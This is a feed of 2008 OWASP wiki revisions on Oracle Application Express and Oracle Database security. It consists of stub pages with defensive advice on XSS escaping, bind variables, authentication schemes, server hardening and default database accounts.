This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)&lt;br /&gt;
&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]&lt;br /&gt;
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]&lt;br /&gt;
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46730</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46730"/>
				<updated>2008-11-21T21:39:20Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
* [[ApEx:XSS]]&lt;br /&gt;
* [[ApEx:SQL injection]]&lt;br /&gt;
* [[ApEx:URL Tampering]]&lt;br /&gt;
* [[ApEx:Authentication]]&lt;br /&gt;
* [[ApEx:Authorization Schemes]]&lt;br /&gt;
* [[ApEx:Defence in depth]]&lt;br /&gt;
* [[ApEx:Configuration]]&lt;br /&gt;
* [[ApEx:Google dorks]]&lt;br /&gt;
* [[ApEx:Architecture]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Defence_in_depth&amp;diff=46729</id>
		<title>ApEx:Defence in depth</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Defence_in_depth&amp;diff=46729"/>
				<updated>2008-11-21T21:37:36Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: WIP 21/11/2008  ==Buttons== Dont hide button, but also disable the process from executing.  ==Input== Values from Select lists should validated on the backend.  ==Tabs &amp;amp; Menu's== Dont hide...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;WIP 21/11/2008&lt;br /&gt;
&lt;br /&gt;
==Buttons==&lt;br /&gt;
Dont hide button, but also disable the process from executing.&lt;br /&gt;
&lt;br /&gt;
==Input==&lt;br /&gt;
Values from Select lists should validated on the backend.&lt;br /&gt;
&lt;br /&gt;
==Tabs &amp;amp; Menu's==&lt;br /&gt;
Dont hide the tabs, but use authorization schemes.&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Authorization_Schemes&amp;diff=46728</id>
		<title>ApEx:Authorization Schemes</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Authorization_Schemes&amp;diff=46728"/>
				<updated>2008-11-21T21:24:20Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: WIP 21/11/2008    ==Add an Access Control Page==  ==Identify Privileged Users==  ==Apply Authorization Rules to Application Components==&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;WIP 21/11/2008&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Add an Access Control Page== &lt;br /&gt;
==Identify Privileged Users== &lt;br /&gt;
==Apply Authorization Rules to Application Components==&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Authentication&amp;diff=46727</id>
		<title>ApEx:Authentication</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Authentication&amp;diff=46727"/>
				<updated>2008-11-21T21:19:14Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: WIP 21/11/2008  ==No authentication== Public access to the resources (APEX_PUBLIC_USER is being used, unless you specify another user in the dads.conf1)  ==Open door credentials Log in...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;WIP 21/11/2008&lt;br /&gt;
&lt;br /&gt;
==No authentication==&lt;br /&gt;
Public access to the resources (APEX_PUBLIC_USER is being used, unless you specify another user in the dads.conf[[1]])&lt;br /&gt;
&lt;br /&gt;
==Open door credentials&lt;br /&gt;
Log in with just a username, no password. Only use this in the development / testing stage.&lt;br /&gt;
&lt;br /&gt;
==ApEx build-in credentials==&lt;br /&gt;
Use the usermanagement that ApEx supplies. This also known as cookie users. (Use this for quick prototyping, accoring to Scott Spendoli)&lt;br /&gt;
&lt;br /&gt;
==Database account authentication==&lt;br /&gt;
Use the database roles/users. The connection is still made using the credentials specified in the dads.conf [[1]]&lt;br /&gt;
&lt;br /&gt;
==Custom authentication==&lt;br /&gt;
LDAP/OID/AD/SSO&lt;br /&gt;
&lt;br /&gt;
[[1]]If you have read through the official Oracle HTML DB documentation, you will note that it refers to a file named marvel.conf instead of dads.conf. Whenever the Oracle HTML DB documentation refers to the file marvel.conf, it means the dads.conf configuration file!&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46723</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46723"/>
				<updated>2008-11-21T20:44:54Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
* [[ApEx:XSS]]&lt;br /&gt;
* [[ApEx:SQL injection]]&lt;br /&gt;
* [[ApEx:URL Tampering]]&lt;br /&gt;
* [[ApEx:Authentication]]&lt;br /&gt;
* [[ApEx:Authorization Schemes]]&lt;br /&gt;
* [[ApEx:Defence in depth]]&lt;br /&gt;
* [[ApEx:Interactive reports]]&lt;br /&gt;
* [[ApEx:Configuration]]&lt;br /&gt;
* [[ApEx:Google dorks]]&lt;br /&gt;
* [[ApEx:Architecture]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:URL_Tampering&amp;diff=46722</id>
		<title>ApEx:URL Tampering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:URL_Tampering&amp;diff=46722"/>
				<updated>2008-11-21T20:44:19Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: http://dgielis.blogspot.com/2007/03/session-state-protection-and-url.html&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://dgielis.blogspot.com/2007/03/session-state-protection-and-url.html&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:SQL_injection&amp;diff=46721</id>
		<title>ApEx:SQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:SQL_injection&amp;diff=46721"/>
				<updated>2008-11-21T20:42:27Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page:    Dont use substitution variables &amp;amp; but bind variables :&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dont use substitution variables &amp;amp; but bind variables :&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Configuration&amp;diff=46720</id>
		<title>ApEx:Configuration</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Configuration&amp;diff=46720"/>
				<updated>2008-11-21T20:36:59Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page:  ==Security options in the administration services== Disable Administrator Login  Disable Workspace Login  Restrict Access by IP Address  Workspace Password Policy   Version 3.1 will conta...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
==Security options in the administration services==&lt;br /&gt;
Disable Administrator Login&lt;br /&gt;
&lt;br /&gt;
Disable Workspace Login&lt;br /&gt;
&lt;br /&gt;
Restrict Access by IP Address&lt;br /&gt;
&lt;br /&gt;
Workspace Password Policy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Version 3.1 will contain a Runtime Installation that probably will alleviate most of this&lt;br /&gt;
&lt;br /&gt;
Miscellaneous&lt;br /&gt;
&lt;br /&gt;
Debugging should be disabled&lt;br /&gt;
&lt;br /&gt;
Build Status should be Run Application Only&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46719</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46719"/>
				<updated>2008-11-21T20:35:24Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
* [[ApEx:XSS]]&lt;br /&gt;
* [[ApEx:SQL injection]]&lt;br /&gt;
* [[ApEx:URL Tampering]]&lt;br /&gt;
* [[ApEx:Session State Protection]]&lt;br /&gt;
* [[ApEx:Authentication]]&lt;br /&gt;
* [[ApEx:Authorization Schemes]]&lt;br /&gt;
* [[ApEx:Defence in depth]]&lt;br /&gt;
* [[ApEx:Interactive reports]]&lt;br /&gt;
* [[ApEx:Configuration]]&lt;br /&gt;
* [[ApEx:Google dorks]]&lt;br /&gt;
* [[ApEx:Architecture]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:XSS&amp;diff=46718</id>
		<title>ApEx:XSS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:XSS&amp;diff=46718"/>
				<updated>2008-11-21T20:32:34Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: ==WIP 21/11/2008==  ==Overview==  ==Example== Create a Form on a table of type “Form on a Table with Report” Run the Report and create a row with this data in a VARCHAR2 column  When y...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==WIP 21/11/2008==&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
==Example==&lt;br /&gt;
Create a Form on a table of type “Form on a Table with Report”&lt;br /&gt;
Run the Report and create a row with this data in a VARCHAR2 column&lt;br /&gt;
&lt;br /&gt;
When you press Create and branch back to the Report the JavaScript is run&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
Escape output, make the character as literal's&lt;br /&gt;
&lt;br /&gt;
In PL/SQL use this function: HTF.escape_sc&lt;br /&gt;
Read about safe items in the User’s Guide&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Architecture&amp;diff=46717</id>
		<title>ApEx:Architecture</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Architecture&amp;diff=46717"/>
				<updated>2008-11-21T20:29:06Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Hardening the Apache HTTP Web Server&lt;br /&gt;
&lt;br /&gt;
Remove pre-loaded modules&lt;br /&gt;
&lt;br /&gt;
Remove pre-installed content&lt;br /&gt;
&lt;br /&gt;
Don’t publicize names/versions of your running software&lt;br /&gt;
&lt;br /&gt;
ServerSignature Off   (Removes server information from error pages)&lt;br /&gt;
&lt;br /&gt;
ServerTokens Prod    (Removes server version from the HTTP header)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comprehensive Checklists&lt;br /&gt;
&lt;br /&gt;
“Securing Oracle Application Server”� by Caleb Sima&lt;br /&gt;
&lt;br /&gt;
“Hardening Oracle Application Server 9i and 10g”� by Alexander Kornbrust&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Architecture&amp;diff=46716</id>
		<title>ApEx:Architecture</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Architecture&amp;diff=46716"/>
				<updated>2008-11-21T20:28:13Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: Hardening the Apache HTTP Web Server Remove pre-loaded modules Remove pre-installed content Don’t publicize names/versions of your running software     Comprehensive Checklists “Securi...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Hardening the Apache HTTP Web Server&lt;br /&gt;
Remove pre-loaded modules&lt;br /&gt;
Remove pre-installed content&lt;br /&gt;
Don’t publicize names/versions of your running software&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comprehensive Checklists&lt;br /&gt;
“Securing Oracle Application Server”� by Caleb Sima&lt;br /&gt;
“Hardening Oracle Application Server 9i and 10g”� by Alexander Kornbrust&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46715</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46715"/>
				<updated>2008-11-21T20:27:46Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
* [[ApEx:XSS]]&lt;br /&gt;
* [[ApEx:SQL injection]]&lt;br /&gt;
* [[ApEx:URL Tampering]]&lt;br /&gt;
* [[ApEx:Session State Protection]]&lt;br /&gt;
* [[ApEx:Authentication]]&lt;br /&gt;
* [[ApEx:Authorization Schemes]]&lt;br /&gt;
* [[ApEx:Defence in depth]]&lt;br /&gt;
* [[ApEx:Interactive reports]]&lt;br /&gt;
* [[ApEx:Builder access]]&lt;br /&gt;
* [[ApEx:Google dorks]]&lt;br /&gt;
* [[ApEx:Architecture]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=ApEx:Google_dorks&amp;diff=46714</id>
		<title>ApEx:Google dorks</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=ApEx:Google_dorks&amp;diff=46714"/>
				<updated>2008-11-21T20:20:40Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: http://www.dba-oracle.com/htmldb/t_html_db_hacking_google_vulnerabilities.htm&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://www.dba-oracle.com/htmldb/t_html_db_hacking_google_vulnerabilities.htm&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46713</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46713"/>
				<updated>2008-11-21T20:20:17Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
* [[ApEx:XSS]]&lt;br /&gt;
* [[ApEx:SQL injection]]&lt;br /&gt;
* [[ApEx:URL Tampering]]&lt;br /&gt;
* [[ApEx:Session State Protection]]&lt;br /&gt;
* [[ApEx:Authentication]]&lt;br /&gt;
* [[ApEx:Authorization Schemes]]&lt;br /&gt;
* [[ApEx:Defence in depth]]&lt;br /&gt;
* [[ApEx:Interactive reports]]&lt;br /&gt;
* [[ApEx:Builder access]]&lt;br /&gt;
* [[ApEx:Google dorks]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46712</id>
		<title>Application Express (ApEx)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&amp;diff=46712"/>
				<updated>2008-11-21T20:17:50Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.&lt;br /&gt;
&lt;br /&gt;
''A more generic description is needed, this is a copy from the Oracle ApEx Site''&lt;br /&gt;
&lt;br /&gt;
[[ApEx:XSS]]&lt;br /&gt;
[[ApEx:SQL injection]]&lt;br /&gt;
[[ApEx:URL Tampering]]&lt;br /&gt;
[[ApEx:Session State Protection]]&lt;br /&gt;
[[ApEx:Authentication]]&lt;br /&gt;
[[ApEx:Authorization Schemes]]&lt;br /&gt;
[[ApEx:Defence in depth]]&lt;br /&gt;
[[ApEx:Interactive reports]]&lt;br /&gt;
[[ApEx:Builder access]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Database:Default_accounts&amp;diff=46419</id>
		<title>Oracle Database:Default accounts</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Database:Default_accounts&amp;diff=46419"/>
				<updated>2008-11-14T16:27:46Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 14/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Oracle default accounts can be created for many different reasons. They are created by Oracle itself when the database is created. For instance the accounts SYS and SYSTEM, DBSNMP and OUTLN are often created by default when a database is created. If the database is created by using the wizard the problem can be much bigger with 10s 0r 20s of accounts being created simply as part of the database creation. Further default accounts can be created after the initial database creation by running scripts that live in the $ORACLE_HOME/rdbms/admin or other directories. These scripts can be run to add an additional feature or function or to add example code to the database (You never do this is production do you?). Further Oracle default users can be created when third party software is installed for use such as BAAN or SAP. The same issues of default users being added to the database can occur when third party development or maintenance tools are added such as TOAD or PL/SQL Developer. Problems can also occur when employees run examples from books, or documentation (official and non-official), books or web sites. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Resources==&lt;br /&gt;
* [1] [http://www.petefinnigan.com/default/oracle_default_passwords.xls Pete Finnigan's default password MS Excel sheet]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:Oracle Database]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Database:Default_accounts&amp;diff=46418</id>
		<title>Oracle Database:Default accounts</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Database:Default_accounts&amp;diff=46418"/>
				<updated>2008-11-14T16:27:10Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: ==Status== WIP 14/11/2008  ==Overview== Oracle default accounts can be created for many different reasons. They are created by Oracle itself when the database is created. For instance the ...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 14/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Oracle default accounts can be created for many different reasons. They are created by Oracle itself when the database is created. For instance the accounts SYS and SYSTEM, DBSNMP and OUTLN are often created by default when a database is created. If the database is created by using the wizard the problem can be much bigger with 10s 0r 20s of accounts being created simply as part of the database creation. Further default accounts can be created after the initial database creation by running scripts that live in the $ORACLE_HOME/rdbms/admin or other directories. These scripts can be run to add an additional feature or function or to add example code to the database (You never do this is production do you?). Further Oracle default users can be created when third party software is installed for use such as BAAN or SAP. The same issues of default users being added to the database can occur when third party development or maintenance tools are added such as TOAD or PL/SQL Developer. Problems can also occur when employees run examples from books, or documentation (official and non-official), books or web sites. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Resources==&lt;br /&gt;
* [1] [http://www.petefinnigan.com/default/oracle_default_passwords.xls Pete Finnigan's default password MS Excel sheet]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46417</id>
		<title>Oracle Database</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46417"/>
				<updated>2008-11-14T16:16:12Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.&lt;br /&gt;
&lt;br /&gt;
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.&lt;br /&gt;
&lt;br /&gt;
* [[Oracle Database:Default accounts]]&lt;br /&gt;
* [[Oracle Database:Encryption]]&lt;br /&gt;
* [[Oracle Database:File system]]&lt;br /&gt;
* [[Oracle Database:TNS Listner]]&lt;br /&gt;
* [[Oracle Database:Critcal Patch Update]]&lt;br /&gt;
* [[Oracle Database:Passwords]]&lt;br /&gt;
* [[Oracle Database:Auditing]]&lt;br /&gt;
* [[Oracle Database:Monitoring]]&lt;br /&gt;
* [[Oracle Database:Forensics]]&lt;br /&gt;
&lt;br /&gt;
==Resources==&lt;br /&gt;
* [1] [http://www.oracle.com the Oracle website]&lt;br /&gt;
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:Oracle Database]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46416</id>
		<title>Oracle Database</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46416"/>
				<updated>2008-11-14T16:15:51Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.&lt;br /&gt;
&lt;br /&gt;
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.&lt;br /&gt;
&lt;br /&gt;
* [[Oracle Database:Default accounts]]&lt;br /&gt;
* [[Oracle Database:Encryption]]&lt;br /&gt;
* [[Oracle Database:File system]]&lt;br /&gt;
* [[Oracle Database:TNS Listner]]&lt;br /&gt;
* [[Oracle Database:Critcal Patch Update]]&lt;br /&gt;
* [[Oracle Database:Passwords]]&lt;br /&gt;
* [[Oracle Database:Auditing]]&lt;br /&gt;
* [[Oracle Database:Monitoring]]&lt;br /&gt;
* [[Oracle Database:Forensics]]&lt;br /&gt;
&lt;br /&gt;
==Resources==&lt;br /&gt;
* [1] [www.oracle.com the Oracle website]&lt;br /&gt;
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:Oracle Database]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46415</id>
		<title>Oracle Database</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46415"/>
				<updated>2008-11-14T16:14:56Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.&lt;br /&gt;
&lt;br /&gt;
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.&lt;br /&gt;
&lt;br /&gt;
[[Oracle Database:Default accounts]]&lt;br /&gt;
[[Oracle Database:Encryption]]&lt;br /&gt;
[[Oracle Database:File system]]&lt;br /&gt;
[[Oracle Database:TNS Listner]]&lt;br /&gt;
[[Oracle Database:Critcal Patch Update]]&lt;br /&gt;
[[Oracle Database:Passwords]]&lt;br /&gt;
[[Oracle Database:Auditing]]&lt;br /&gt;
[[Oracle Database:Monitoring]]&lt;br /&gt;
[[Oracle Database:Forensics]]&lt;br /&gt;
&lt;br /&gt;
==Resources==&lt;br /&gt;
